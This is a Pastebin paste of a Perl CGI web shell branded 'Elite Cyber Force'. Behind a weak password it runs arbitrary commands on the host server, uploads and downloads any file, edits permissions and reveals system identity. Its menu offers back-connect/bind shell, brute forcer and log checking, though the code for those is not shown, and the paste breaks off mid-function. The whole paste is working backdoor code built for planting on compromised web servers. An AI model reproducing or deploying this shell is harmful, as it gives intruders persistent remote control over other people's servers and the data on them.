API tools faq
paste
1337_Brain

CGI Shell

1337_Brain
Jun 25th, 2014
495
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 50.11 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2. use MIME::Base64;
  3. $Version= "CGI Shell";
  4. $EditPersion="<a href='http://www.facebook.com/nznbd?ref=tn_tnmn' target='_blank' alt='oklyn' title='oklyn'><img src='http://www.espritcampingcar.com/images/actu/106.jpg'></a>";
  5.  
  6. $Password = "ecf";          # Change this. You will need to enter this
  7.                 # to login.
  8. sub Is_Win(){
  9.     $os = &trim($ENV{"SERVER_SOFTWARE"});
  10.     if($os =~ m/win/i){
  11.         return 1;
  12.     }else{
  13.         return 0;
  14.     }
  15. }
  16. $WinNT = &Is_Win();         # You need to change the value of this to 1 if
  17.                     # you're running this script on a Windows NT
  18.                     # machine. If you're running it on Unix, you
  19.                     # can leave the value as it is.
  20.  
  21. $NTCmdSep = "&";            # This character is used to seperate 2 commands
  22.                     # in a command line on Windows NT.
  23.  
  24. $UnixCmdSep = ";";          # This character is used to seperate 2 commands
  25.                     # in a command line on Unix.
  26.  
  27. $CommandTimeoutDuration = 30;       # Time in seconds after commands will be killed
  28.                     # Don't set this to a very large value. This is
  29.                     # useful for commands that may hang or that
  30.                     # take very long to execute, like "find /".
  31.                     # This is valid only on Unix servers. It is
  32.                     # ignored on NT Servers.
  33.  
  34. $ShowDynamicOutput = 1;         # If this is 1, then data is sent to the
  35.                     # browser as soon as it is output, otherwise
  36.                     # it is buffered and send when the command
  37.                     # completes. This is useful for commands like
  38.                     # ping, so that you can see the output as it
  39.                     # is being generated.
  40.  
  41. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  42.  
  43. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  44. $CmdPwd = ($WinNT ? "cd" : "pwd");
  45. $PathSep = ($WinNT ? "\\" : "/");
  46. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  47. $cols= 130;
  48. $rows= 26;
  49. #------------------------------------------------------------------------------
  50. # Reads the input sent by the browser and parses the input variables. It
  51. # parses GET, POST and multipart/form-data that is used for uploading files.
  52. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  53. # Other variables can be accessed using $in{'var'}, where var is the name of
  54. # the variable. Note: Most of the code in this function is taken from other CGI
  55. # scripts.
  56. #------------------------------------------------------------------------------
  57. sub ReadParse
  58. {
  59.     local (*in) = @_ if @_;
  60.     local ($i, $loc, $key, $val);
  61.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  62.     if($ENV{'REQUEST_METHOD'} eq "GET")
  63.     {
  64.         $in = $ENV{'QUERY_STRING'};
  65.     }
  66.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  67.     {
  68.         binmode(STDIN) if $MultipartFormData & $WinNT;
  69.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  70.     }
  71.     # handle file upload data
  72.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  73.     {
  74.         $Boundary = '--'.$1; # please refer to RFC1867
  75.         @list = split(/$Boundary/, $in);
  76.         $HeaderBody = $list[1];
  77.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  78.         $Header = $`;
  79.         $Body = $';
  80.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  81.         $in{'filedata'} = $Body;
  82.         $Header =~ /filename=\"(.+)\"/;
  83.         $in{'f'} = $1;
  84.         $in{'f'} =~ s/\"//g;
  85.         $in{'f'} =~ s/\s//g;
  86.  
  87.         # parse trailer
  88.         for($i=2; $list[$i]; $i++)
  89.         {
  90.             $list[$i] =~ s/^.+name=$//;
  91.             $list[$i] =~ /\"(\w+)\"/;
  92.             $key = $1;
  93.             $val = $';
  94.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  95.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  96.             $in{$key} = $val;
  97.         }
  98.     }
  99.     else # standard post data (url encoded, not multipart)
  100.     {
  101.         @in = split(/&/, $in);
  102.         foreach $i (0 .. $#in)
  103.         {
  104.             $in[$i] =~ s/\+/ /g;
  105.             ($key, $val) = split(/=/, $in[$i], 2);
  106.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  107.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  108.             $in{$key} .= "\0" if (defined($in{$key}));
  109.             $in{$key} .= $val;
  110.         }
  111.     }
  112. }
  113. #------------------------------------------------------------------------------
  114. # function EncodeDir: encode base64 Path
  115. #------------------------------------------------------------------------------
  116. sub EncodeDir
  117. {
  118.     my $dir = shift;
  119.     $dir = trim(encode_base64($dir));
  120.     $dir =~ s/(\r|\n)//;
  121.     return $dir;
  122. }
  123. #------------------------------------------------------------------------------
  124. # Prints the HTML Page Header
  125. # Argument 1: Form item name to which focus should be set
  126. #------------------------------------------------------------------------------
  127. sub PrintPageHeader
  128. {
  129.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  130.     my $id = `id` if(!$WinNT);
  131.     my $info = `uname -s -n -r -i`;
  132.     print "Content-type: text/html\n\n";
  133.     print <<END;
  134. <html>
  135. <head>
  136. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  137. <link rel="shortcut icon" href="http://static.ak.fbcdn.net/rsrc.php/v2/yb/r/GsNJNwuI-UM.gif">
  138. <title>|||| [ $Version ] ||||</title>
  139. $HtmlMetaHeader
  140. </head>
  141. <style>
  142. body{
  143. font: 10pt Verdana;
  144. color: #fff;
  145. }
  146. tr,td,table,input,textarea {
  147. BORDER-RIGHT:  #3e3e3e 1px dashed;
  148. BORDER-TOP:    #3e3e3e 1px dashed;
  149. BORDER-LEFT:   #3e3e3e 1px dashed;
  150. BORDER-BOTTOM: #3e3e3e 1px dashed;
  151. }
  152. #domain tr:hover{
  153. background-color: #444;
  154. }
  155. td {
  156. color: #25383C;
  157. }
  158. .listdir td{
  159.     text-align: center;
  160. }
  161. .listdir th{
  162.     color: #FF9900;
  163. }
  164. .dir,.file
  165. {
  166.     text-align: left !important;
  167. }
  168. .dir{
  169.     font-size: 10pt;
  170.     font-weight: bold;
  171. }
  172. table {
  173. BACKGROUND-COLOR: #111;
  174. }
  175. input {
  176. BACKGROUND-COLOR: Black;
  177. color: #25383C;
  178. }
  179. input.submit {
  180. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  181. color: #FFFFFF;
  182. border-color: #009900;
  183. }
  184. code {
  185. border: dashed 0px #333;
  186. color: while;
  187. }
  188. run {
  189. border          : dashed 0px #333;
  190. color: #FF00AA;
  191. }
  192. textarea {
  193. BACKGROUND-COLOR: #1b1b1b;
  194. font: Fixedsys bold;
  195. color: #aaa;
  196. }
  197. A:link {
  198.     COLOR: #817339; TEXT-DECORATION: none
  199. }
  200. A:visited {
  201.     COLOR: #25383C;; TEXT-DECORATION: none
  202. }
  203. A:hover {
  204.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  205.     color: #FFFFFF; TEXT-DECORATION: none
  206. }
  207. A:active {
  208.     color: Red; TEXT-DECORATION: none
  209. }
  210. .listdir tr:hover{
  211.     background: #444;
  212. }
  213. .listdir tr:hover td{
  214.     background: #444;
  215.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  216.     color: #FFFFFF; TEXT-DECORATION: none;
  217. }
  218. .notline{
  219.     background: #111;
  220. }
  221. .line{
  222.     background: #222;
  223. }
  224. </style>
  225. <script language="javascript">
  226. function Encoder(name)
  227. {
  228.     var e =  document.getElementById(name);
  229.     e.value = btoa(e.value);
  230.     return true;
  231. }
  232. function chmod_form(i,file)
  233. {
  234.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  235.     document.getElementById("text_" + i).focus();
  236. }
  237. function rm_chmod_form(response,i,perms,file)
  238. {
  239.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  240. }
  241. function rename_form(i,file,f)
  242. {
  243.     f.replace(/\\\\/g,"\\\\\\\\");
  244.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  245.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  246.     document.getElementById("text_" + i).focus();
  247. }
  248. function rm_rename_form(i,file,f)
  249. {
  250.     if(f=='f')
  251.     {
  252.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  253.     }else
  254.     {
  255.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  256.     }
  257. }
  258. </script>
  259. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  260. <center><code>
  261. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  262. <tr>
  263.     <td align="center" rowspan=3>
  264. $EditPersion
  265.     </td>
  266.     <td>
  267.         $info
  268.     </td>
  269.     <td>Server IP:<font color="#25383C"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#25383C">$ENV{'REMOTE_ADDR'}</font>
  270.     </td>
  271. </tr>
  272. <tr>
  273. <td colspan="2">
  274. <a href="$ScriptLocation">Home</a> |
  275. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  276. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  277. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  278. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  279. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  280. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  281. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  282. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  283. <a href="$ScriptLocation?a=logout">Logout</a> |
  284. <a target='_blank' href="#">Help</a>
  285. </td>
  286. </tr>
  287. <tr>
  288. <td colspan="2">
  289. $id
  290. </td>
  291. </tr>
  292. </table>
  293. <font id="ResponseData" color="#FFFFFF" >
  294. END
  295. }
  296. #------------------------------------------------------------------------------
  297. # Prints the Login Screen
  298. #------------------------------------------------------------------------------
  299. sub PrintLoginScreen
  300. {
  301.     print <<END;
  302. <pre><script type="text/javascript">
  303. TypingText = function(element, interval, cursor, finishedCallback) {
  304.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  305.     this.running = true;    // Never run.
  306.     return;
  307.   }
  308.   this.element = element;
  309.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  310.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  311.   this.origText = this.element.innerHTML;
  312.   this.unparsedOrigText = this.origText;
  313.   this.cursor = (cursor ? cursor : "");
  314.   this.currentText = "";
  315.   this.currentChar = 0;
  316.   this.element.typingText = this;
  317.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  318.   TypingText.all.push(this);
  319.   this.running = false;
  320.   this.inTag = false;
  321.   this.tagBuffer = "";
  322.   this.inHTMLEntity = false;
  323.   this.HTMLEntityBuffer = "";
  324. }
  325. TypingText.all = new Array();
  326. TypingText.currentIndex = 0;
  327. TypingText.runAll = function() {
  328.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  329. }
  330. TypingText.prototype.run = function() {
  331.   if(this.running) return;
  332.   if(typeof this.origText == "undefined") {
  333.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  334.     return;
  335.   }
  336.   if(this.currentText == "") this.element.innerHTML = "";
  337. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  338.   if(this.currentChar < this.origText.length) {
  339.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  340.       this.tagBuffer = "<";
  341.       this.inTag = true;
  342.       this.currentChar++;
  343.       this.run();
  344.       return;
  345.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  346.       this.tagBuffer += ">";
  347.       this.inTag = false;
  348.       this.currentText += this.tagBuffer;
  349.       this.currentChar++;
  350.       this.run();
  351.       return;
  352.     } else if(this.inTag) {
  353.       this.tagBuffer += this.origText.charAt(this.currentChar);
  354.       this.currentChar++;
  355.       this.run();
  356.       return;
  357.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  358.       this.HTMLEntityBuffer = "&";
  359.       this.inHTMLEntity = true;
  360.       this.currentChar++;
  361.       this.run();
  362.       return;
  363.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  364.       this.HTMLEntityBuffer += ";";
  365.       this.inHTMLEntity = false;
  366.       this.currentText += this.HTMLEntityBuffer;
  367.       this.currentChar++;
  368.       this.run();
  369.       return;
  370.     } else if(this.inHTMLEntity) {
  371.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  372.       this.currentChar++;
  373.       this.run();
  374.       return;
  375.     } else {
  376.       this.currentText += this.origText.charAt(this.currentChar);
  377.     }
  378.     this.element.innerHTML = this.currentText;
  379.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  380.     this.currentChar++;
  381.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  382.   } else {
  383.     this.currentText = "";
  384.     this.currentChar = 0;
  385.         this.running = false;
  386.         this.finishedCallback();
  387.   }
  388. }
  389. </script>
  390. </pre>
  391.  
  392. <br>
  393.  
  394. <script type="text/javascript">
  395. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  396. TypingText.runAll();
  397.  
  398. </script>
  399. END
  400. }
  401. #------------------------------------------------------------------------------
  402. # encode html special chars
  403. #------------------------------------------------------------------------------
  404. sub UrlEncode($){
  405.     my $str = shift;
  406.     $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  407.     return $str;
  408. }
  409. #------------------------------------------------------------------------------
  410. # Add html special chars
  411. #------------------------------------------------------------------------------
  412. sub HtmlSpecialChars($){
  413.     my $text = shift;
  414.     $text =~ s/&/&amp;/g;
  415.     $text =~ s/"/&quot;/g;
  416.     $text =~ s/'/&#039;/g;
  417.     $text =~ s/</&lt;/g;
  418.     $text =~ s/>/&gt;/g;
  419.     return $text;
  420. }
  421. #------------------------------------------------------------------------------
  422. # Add link for directory
  423. #------------------------------------------------------------------------------
  424. sub AddLinkDir($)
  425. {
  426.     my $ac=shift;
  427.     my @dir=();
  428.     if($WinNT)
  429.     {
  430.         @dir=split(/\\/,$CurrentDir);
  431.     }else
  432.     {
  433.         @dir=split("/",&trim($CurrentDir));
  434.     }
  435.     my $path="";
  436.     my $result="";
  437.     foreach (@dir)
  438.     {
  439.         $path .= $_.$PathSep;
  440.         $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  441.     }
  442.     return $result;
  443. }
  444. #------------------------------------------------------------------------------
  445. # Prints the message that informs the user of a failed login
  446. #------------------------------------------------------------------------------
  447. sub PrintLoginFailedMessage
  448. {
  449.     print <<END;
  450.  
  451.  
  452. <font style='color: red;'>Login incorrect</font><br><br>
  453. END
  454. }
  455.  
  456. #------------------------------------------------------------------------------
  457. # Prints the HTML form for logging in
  458. #------------------------------------------------------------------------------
  459. sub PrintLoginForm
  460. {
  461.     print <<END;
  462. <form name="f" method="POST" action="$ScriptLocation">
  463. <input type="hidden" name="a" value="login">
  464. Password: Elite Cyber Force<br>
  465. <input type="password" name="p"><br>
  466. <input class="submit" type="submit" value="Enter">
  467. </form>
  468. END
  469. }
  470. #------------------------------------------------------------------------------
  471. # Prints the footer for the HTML Page
  472. #------------------------------------------------------------------------------
  473. sub PrintPageFooter
  474. {
  475.     print "</code></center></body></html>";
  476. }
  477. #------------------------------------------------------------------------------
  478. # Retreives the values of all cookies. The cookies can be accesses using the
  479. # variable $Cookies{''}
  480. #------------------------------------------------------------------------------
  481. sub GetCookies
  482. {
  483.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  484.     foreach $cookie(@httpcookies)
  485.     {
  486.         ($id, $val) = split(/=/, $cookie);
  487.         $Cookies{$id} = $val;
  488.     }
  489. }
  490. #------------------------------------------------------------------------------
  491. # Prints the screen when the user logs out
  492. #------------------------------------------------------------------------------
  493. sub PrintLogoutScreen
  494. {
  495.     print "Connection closed by foreign host.<br><br>";
  496. }
  497.  
  498. #------------------------------------------------------------------------------
  499. # Logs out the user and allows the user to login again
  500. #------------------------------------------------------------------------------
  501. sub PerformLogout
  502. {
  503.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  504.     &PrintPageHeader("p");
  505.     &PrintLogoutScreen;
  506.  
  507.     &PrintLoginScreen;
  508.     &PrintLoginForm;
  509.     &PrintPageFooter;
  510.     exit;
  511. }
  512.  
  513. #------------------------------------------------------------------------------
  514. # This function is called to login the user. If the password matches, it
  515. # displays a page that allows the user to run commands. If the password doens't
  516. # match or if no password is entered, it displays a form that allows the user
  517. # to login
  518. #------------------------------------------------------------------------------
  519. sub PerformLogin
  520. {
  521.     if($LoginPassword eq $Password) # password matched
  522.     {
  523.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  524.         &PrintPageHeader;
  525.         print &ListDir;
  526.     }
  527.     else # password didn't match
  528.     {
  529.         &PrintPageHeader("p");
  530.         &PrintLoginScreen;
  531.         if($LoginPassword ne "") # some password was entered
  532.         {
  533.             &PrintLoginFailedMessage;
  534.  
  535.         }
  536.         &PrintLoginForm;
  537.         &PrintPageFooter;
  538.         exit;
  539.     }
  540. }
  541. #------------------------------------------------------------------------------
  542. # Prints the HTML form that allows the user to enter commands
  543. #------------------------------------------------------------------------------
  544. sub PrintCommandLineInputForm
  545. {
  546.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  547.     my $dir= "<span style='font: 8pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  548.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  549.     return <<END;
  550. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  551.  
  552. <input type="hidden" name="a" value="command">
  553.  
  554. <input type="hidden" name="d" value="$EncodeCurrentDir">
  555. $Prompt
  556. <input type="text" size="70" name="c" id="c">
  557. <input class="submit" type="submit" value="Enter">
  558. </form>
  559. END
  560. }
  561. #------------------------------------------------------------------------------
  562. # Prints the HTML form that allows the user to download files
  563. #------------------------------------------------------------------------------
  564. sub PrintFileDownloadForm
  565. {
  566.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  567.     my $dir = &AddLinkDir("download");
  568.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  569.     return <<END;
  570. <form name="f" method="POST" action="$ScriptLocation">
  571. <input type="hidden" name="d" value="$EncodeCurrentDir">
  572. <input type="hidden" name="a" value="download">
  573. $Prompt download<br><br>
  574. Filename<br>
  575. <input class="file" type="text" name="f" size="75"><br><br>
  576. <input class="submit" type="submit" value="Begin">
  577.  
  578. </form>
  579. END
  580. }
  581.  
  582. #------------------------------------------------------------------------------
  583. # Prints the HTML form that allows the user to upload files
  584. #------------------------------------------------------------------------------
  585. sub PrintFileUploadForm
  586. {
  587.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  588.     my $dir= &AddLinkDir("upload");
  589.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  590.     return <<END;
  591. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  592. $Prompt upload<br><br>
  593. Filename<br>
  594. <input class="file" type="file" name="f" size="35"><br><br>
  595. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  596. <label for="up">Overwrite if it Exists</label><br><br>
  597. <input class="submit" type="submit" value="Begin">
  598. <input type="hidden" name="d" value="$EncodeCurrentDir">
  599. <input class="submit" type="hidden" name="a" value="upload">
  600. </form>
  601. END
  602. }
  603.  
  604. #------------------------------------------------------------------------------
  605. # This function is called when the timeout for a command expires. We need to
  606. # terminate the script immediately. This function is valid only on Unix. It is
  607. # never called when the script is running on NT.
  608. #------------------------------------------------------------------------------
  609. sub CommandTimeout
  610. {
  611.     if(!$WinNT)
  612.     {
  613.         alarm(0);
  614.         return <<END;
  615. </textarea>
  616. <br><font color=yellow>
  617. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  618. <br><font size='6' color=red>Killed it!</font>
  619. END
  620.     }
  621. }
  622. #------------------------------------------------------------------------------
  623. # This function displays the page that contains a link which allows the user
  624. # to download the specified file. The page also contains a auto-refresh
  625. # feature that starts the download automatically.
  626. # Argument 1: Fully qualified filename of the file to be downloaded
  627. #------------------------------------------------------------------------------
  628. sub PrintDownloadLinkPage
  629. {
  630.     local($FileUrl) = @_;
  631.     my $result="";
  632.     if(-e $FileUrl) # if the file exists
  633.     {
  634.         # encode the file link so we can send it to the browser
  635.         $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  636.         $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  637.         $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  638.         &PrintPageHeader("c");
  639.         $result .= <<END;
  640. Sending File $TransferFile...<br>
  641.  
  642. If the download does not start automatically,
  643. <a href="$DownloadLink">Click Here</a>
  644. END
  645.         $result .= &PrintCommandLineInputForm;
  646.     }
  647.     else # file doesn't exist
  648.     {
  649.         $result .= "Failed to download $FileUrl: $!";
  650.         $result .= &PrintFileDownloadForm;
  651.     }
  652.     return $result;
  653. }
  654. #------------------------------------------------------------------------------
  655. # This function reads the specified file from the disk and sends it to the
  656. # browser, so that it can be downloaded by the user.
  657. # Argument 1: Fully qualified pathname of the file to be sent.
  658. #------------------------------------------------------------------------------
  659. sub SendFileToBrowser
  660. {
  661.     my $result = "";
  662.     local($SendFile) = @_;
  663.     if(open(SENDFILE, $SendFile)) # file opened for reading
  664.     {
  665.         if($WinNT)
  666.         {
  667.             binmode(SENDFILE);
  668.             binmode(STDOUT);
  669.         }
  670.         $FileSize = (stat($SendFile))[7];
  671.         ($Filename = $SendFile) =~  m!([^/^\\]*)$!;
  672.         print "Content-Type: application/x-unknown\n";
  673.         print "Content-Length: $FileSize\n";
  674.         print "Content-Disposition: attachment; filename=$1\n\n";
  675.         print while(<SENDFILE>);
  676.         close(SENDFILE);
  677.         exit(1);
  678.     }
  679.     else # failed to open file
  680.     {
  681.         $result .= "Failed to download $SendFile: $!";
  682.         $result .=&PrintFileDownloadForm;
  683.     }
  684.     return $result;
  685. }
  686. #------------------------------------------------------------------------------
  687. # This function is called when the user downloads a file. It displays a message
  688. # to the user and provides a link through which the file can be downloaded.
  689. # This function is also called when the user clicks on that link. In this case,
  690. # the file is read and sent to the browser.
  691. #------------------------------------------------------------------------------
  692. sub BeginDownload
  693. {
  694.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  695.     # get fully qualified path of the file to be downloaded
  696.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  697.         (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  698.     {
  699.         $TargetFile = $TransferFile;
  700.     }
  701.     else # path is relative
  702.     {
  703.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  704.         $TargetFile .= $PathSep.$TransferFile;
  705.     }
  706.  
  707.     if($Options eq "go") # we have to send the file
  708.     {
  709.         &SendFileToBrowser($TargetFile);
  710.     }
  711.     else # we have to send only the link page
  712.     {
  713.         &PrintDownloadLinkPage($TargetFile);
  714.     }
  715. }
  716.  
  717. #------------------------------------------------------------------------------
  718. # This function is called when the user wants to upload a file. If the
  719. # file is not specified, it displays a form allowing the user to specify a
  720. # file, otherwise it starts the upload process.
  721. #------------------------------------------------------------------------------
  722. sub UploadFile
  723. {
  724.     # if no file is specified, print the upload form again
  725.     if($TransferFile eq "")
  726.     {
  727.         return &PrintFileUploadForm;
  728.  
  729.     }
  730.     my $result="";
  731.     # start the uploading process
  732.     $result .= "Uploading $TransferFile to $CurrentDir...<br>";
  733.  
  734.     # get the fullly qualified pathname of the file to be created
  735.     chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  736.     $TransferFile =~ m!([^/^\\]*)$!;
  737.     $TargetName .= $PathSep.$1;
  738.  
  739.     $TargetFileSize = length($in{'filedata'});
  740.     # if the file exists and we are not supposed to overwrite it
  741.     if(-e $TargetName && $Options ne "overwrite")
  742.     {
  743.         $result .= "Failed: Destination file already exists.<br>";
  744.     }
  745.     else # file is not present
  746.     {
  747.         if(open(UPLOADFILE, ">$TargetName"))
  748.         {
  749.             binmode(UPLOADFILE) if $WinNT;
  750.             print UPLOADFILE $in{'filedata'};
  751.             close(UPLOADFILE);
  752.             $result .= "Transfered $TargetFileSize Bytes.<br>";
  753.             $result .= "File Path: $TargetName<br>";
  754.         }
  755.         else
  756.         {
  757.             $result .= "Failed: $!<br>";
  758.         }
  759.     }
  760.     $result .= &PrintCommandLineInputForm;
  761.     return $result;
  762. }
  763. #------------------------------------------------------------------------------
  764. # This function is called when the user wants to download a file. If the
  765. # filename is not specified, it displays a form allowing the user to specify a
  766. # file, otherwise it displays a message to the user and provides a link
  767. # through  which the file can be downloaded.
  768. #------------------------------------------------------------------------------
  769. sub DownloadFile
  770. {
  771.     # if no file is specified, print the download form again
  772.     if($TransferFile eq "")
  773.     {
  774.         &PrintPageHeader("f");
  775.         return &PrintFileDownloadForm;
  776.     }
  777.    
  778.     # get fully qualified path of the file to be downloaded
  779.     if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) | (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  780.     {
  781.         $TargetFile = $TransferFile;
  782.     }
  783.     else # path is relative
  784.     {
  785.         chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  786.         $TargetFile .= $PathSep.$TransferFile;
  787.     }
  788.  
  789.     if($Options eq "go") # we have to send the file
  790.     {
  791.         return &SendFileToBrowser($TargetFile);
  792.     }
  793.     else # we have to send only the link page
  794.     {
  795.         return &PrintDownloadLinkPage($TargetFile);
  796.     }
  797. }
  798. #------------------------------------------------------------------------------
  799. # This function is called to execute commands. It displays the output of the
  800. # command and allows the user to enter another command. The change directory
  801. # command is handled differently. In this case, the new directory is stored in
  802. # an internal variable and is used each time a command has to be executed. The
  803. # output of the change directory command is not displayed to the users
  804. # therefore error messages cannot be displayed.
  805. #------------------------------------------------------------------------------
  806. sub ExecuteCommand
  807. {
  808.     $CurrentDir = &TrimSlashes($CurrentDir);
  809.     my $result="";
  810.     if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  811.     {
  812.         # we change the directory internally. The output of the
  813.         # command is not displayed.
  814.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  815.         chomp($CurrentDir = `$Command`);
  816.         $result .= &PrintCommandLineInputForm;
  817.  
  818.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  819.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  820.         $RunCommand= $WinNT?"dir":"dir -lia";
  821.         $result .= &RunCmd;
  822.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  823.     {
  824.         $result .=  &SaveFileForm;
  825.     }else
  826.     {
  827.         $result .= &PrintCommandLineInputForm;
  828.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  829.         $result .=&RunCmd;
  830.     }
  831.     $result .=  "</textarea>";
  832.     return $result;
  833. }
  834. #------------------------------------------------------------------------
  835. # run command
  836. #------------------------------------------------------------------------
  837. sub RunCmd
  838. {
  839.     my $result="";
  840.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  841.     if(!$WinNT)
  842.     {
  843.         $SIG{'ALRM'} = \&CommandTimeout;
  844.         alarm($CommandTimeoutDuration);
  845.     }
  846.     if($ShowDynamicOutput) # show output as it is generated
  847.     {
  848.         $|=1;
  849.         $Command .= " |";
  850.         open(CommandOutput, $Command);
  851.         while(<CommandOutput>)
  852.         {
  853.             $_ =~ s/(\n|\r\n)$//;
  854.             $result .= &HtmlSpecialChars("$_\n");
  855.         }
  856.         $|=0;
  857.     }
  858.     else # show output after command completes
  859.     {
  860.         $result .= &HtmlSpecialChars($Command);
  861.     }
  862.     if(!$WinNT)
  863.     {
  864.         alarm(0);
  865.     }
  866.     return $result;
  867. }
  868. #==============================================================================
  869. # Form Save File
  870. #==============================================================================
  871. sub SaveFileForm
  872. {
  873.     my $result ="";
